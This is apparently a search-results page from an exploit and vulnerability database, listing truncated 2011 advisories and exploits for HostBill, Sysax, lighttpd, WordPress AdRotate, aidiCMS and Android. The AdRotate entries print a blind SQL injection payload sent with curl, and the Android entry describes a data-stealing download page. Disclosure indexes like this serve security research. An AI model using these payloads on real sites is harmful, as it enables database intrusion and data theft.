6672 matches found
HostBill App 2.3 - Remote Code Injection
=-=-=-=-=-=-=-=-=-=-=-=-=-=-In The Name Of Allah, The Most Beneficent, The Most Merciful-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Tybe: suffering from RemotE injection php code Vendor:hostbillapp.com + Software:HostBill + Version : v2.3 + author:Dr.DaShE TEAM: Team 403 ? - contact: Dasher403atgmail.c...
Sysax Multi Server 5.50 Create Folder Buffer Overflow
Title: Sysax Multi Server 5.50 Create Folder Remote Code Exec BoF MSF Module Author: Craig Freyman @cd1zz Tested on: XP SP3 32bit and Server 2003 SP2 32bitNo DEP Notes: My original exploit = http://www.exploit-db.com/exploits/18382/ did not automate the SID gathering process, but this one does...
Debian DSA-2368-1 : lighttpd - multiple vulnerabilities (BEAST)
Several vulnerabilities have been discovered in lighttpd, a small and fast webserver with minimal memory footprint. - CVE-2011-4362 Xi Wang discovered that the base64 decoding routine which is used to decode user input during an HTTP authentication, suffers of a signedness issue when processing...
Lighttpd Proof of Concept code for CVE-2011-4362
29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that modauth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below: "src/httpauth.c:67" --- CUT --- static const short...
Lighttpd Proof of Concept code for CVE-2011-4362
No description provided by source. 29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that modauth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below: "src/httpauth.c:67...
lighthttpd security vulnerabilities
DoS on base64 parsing...
CVE-2011-4362
Integer signedness error in the base64decode function in the HTTP authentication functionality httpauth.c in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service segmentation fault via crafted base64 input that triggers an out-of-bounds...
DEBIAN-CVE-2011-4362
Integer signedness error in the base64decode function in the HTTP authentication functionality httpauth.c in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service segmentation fault via crafted base64 input that triggers an out-of-bounds...
Integer overflow
Integer signedness error in the base64decode function in the HTTP authentication functionality httpauth.c in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service segmentation fault via crafted base64 input that triggers an out-of-bounds...
CVE-2011-4362
Integer signedness error in the base64decode function in the HTTP authentication functionality httpauth.c in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service segmentation fault via crafted base64 input that triggers an out-of-bounds...
Artmedic Web Design Php Source Read
Exploit for php platform in category web applications Exploit Title: Artmedic Web Design Php Source Read Date: 23/12/2011 - 08:30 Author: Nafsh Site: Cyberwh.org Mail: email protected Software Website: http://www.artmedic.de/ Tested On: BackTrack 5 - Win7 Ultimate - Xp Platform: Php $ Dorks: "lin...
whmcs hosting management system 0day and fix-vulnerability warning-the black bar safety net
First register an id Submitted a ticket as follows...
Tencent RTX upload arbitrary files and fixes-vulnerability warning-the black bar safety net
Install the RTX after the open IP:8 0 1 2 site Tencent RTX exist UserPhoto/photoUpload. php arbitrary file upload vulnerability Detailed description: Simple as a post form to upload $useraccount = $POST'useraccount'; $filename = $POST"filename"; $filedata = $POST"filedata"; Without any filtering...
lighttpd mod_auth模块base64 拒绝服务漏洞
CVE-2011-4362 Lighttpd是一款轻型的开放源码Web Server软件包。 lighttpd在认证数据的解码实现上存在漏洞，攻击者可能利用此漏洞使应用程序崩溃造成拒绝服务。 httpauth.c中的代码在base64解码用户输入的认证数据时使用"const char in"类型，并将每个字符转换为"int ch"作为映射表的索引，大于0x80的字符就会导致负索引，可能造成非法内存访问。 lighttpd =1.4.29 厂商补丁： LightTPD -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Google Android - 'content://' URI Multiple Information Disclosure Vulnerabilities
Android Data Stealing Web PageClick: Malicious Link"; // Stage 1: Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect...
WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
No description provided by source. Exploit Title: WordPress AdRotate plugin = 3.6.6 SQL Injection Vulnerability Date: 2011-11-8 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip Version: 3.6.6 tested Note:...
WordPress Plugin AdRotate 3.6.6 - SQL Injection
WordPress Plugin AdRotate 3.6.6 - SQL Injection Exploit Title: WordPress AdRotate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" encoded=echo -n "1' AND 1=IF21,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" | base64 -w 0 curl...
WordPress Plugin AdRotate 3.6.6 - SQL Injection
Exploit Title: WordPress AdRotate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" encoded=echo -n "1' AND 1=IF21,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" | base64 -w 0 curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded --------------- Vulnerab...
WordPress AdRotate plugin <= 3.6.6 SQL Injection
Exploit for php platform in category web applications Exploit Title: WordPress AdRotate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" encoded=echo -n "1' AND 1=IF21,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" | base64 -w 0 curl...
aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution
?php / -------------------------------------------------------------------- aidiCMS v3.55 ajaxcreatefolder.php Remote Code Execution Exploit -------------------------------------------------------------------- author............: Egidio Romano aka EgiX mail..............: n0b0d13satgmaildotcom...